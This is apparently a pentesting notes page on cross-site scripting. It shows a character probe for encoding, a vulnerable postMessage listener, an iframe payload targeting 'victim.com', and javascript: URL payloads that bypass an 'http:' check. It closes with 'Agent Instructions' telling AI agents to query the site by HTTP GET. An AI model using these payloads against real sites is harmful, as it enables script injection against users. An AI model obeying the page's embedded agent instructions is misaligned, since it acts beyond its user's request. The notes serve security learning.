# XSS

## Encode by htmlspecialchars

Try this payload first, to identify which the chars that encoded:

```
!@#$%^&*()}{\'\"|?><`~}
```

Tips:

> Look at other reflected in the html code, maybe in the tag \<script> or something els.

## Dom XSS

### EventListener Message

identify this in the javascript

```javascript
                   <script>
                        window.addEventListener('message', function(e) {
                            var url = e.data;
                            if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
                                location.href = url;
                                alert();   
                            }
                        }, false);
                    </script>
                    
```

event `message` mean that the web application receive the message from method postMessage

so we can use iframe to interact with the web application via postMessage

create a web hook with this payload

```
 <html>
<h1>Test</h1>
<iframe src=https://victim.com/ onload="this.contentWindow.postMessage('javascript:print();alert(`http:`)','*')" >
</html>
```

other payload work with DOM <mark style="background-color:red;">location.href</mark>.

```
javascript:print()//http:
javascript:print();alert(`http:`)
javascript:print();var=`http:`;
```

reference:

<https://github.com/daffainfo/AllAboutBugBounty/blob/master/Cross%20Site%20Scripting.md>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacker-mind.gitbook.io/hacker-mind/penetration-testing-notes/web-application-80-443/xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
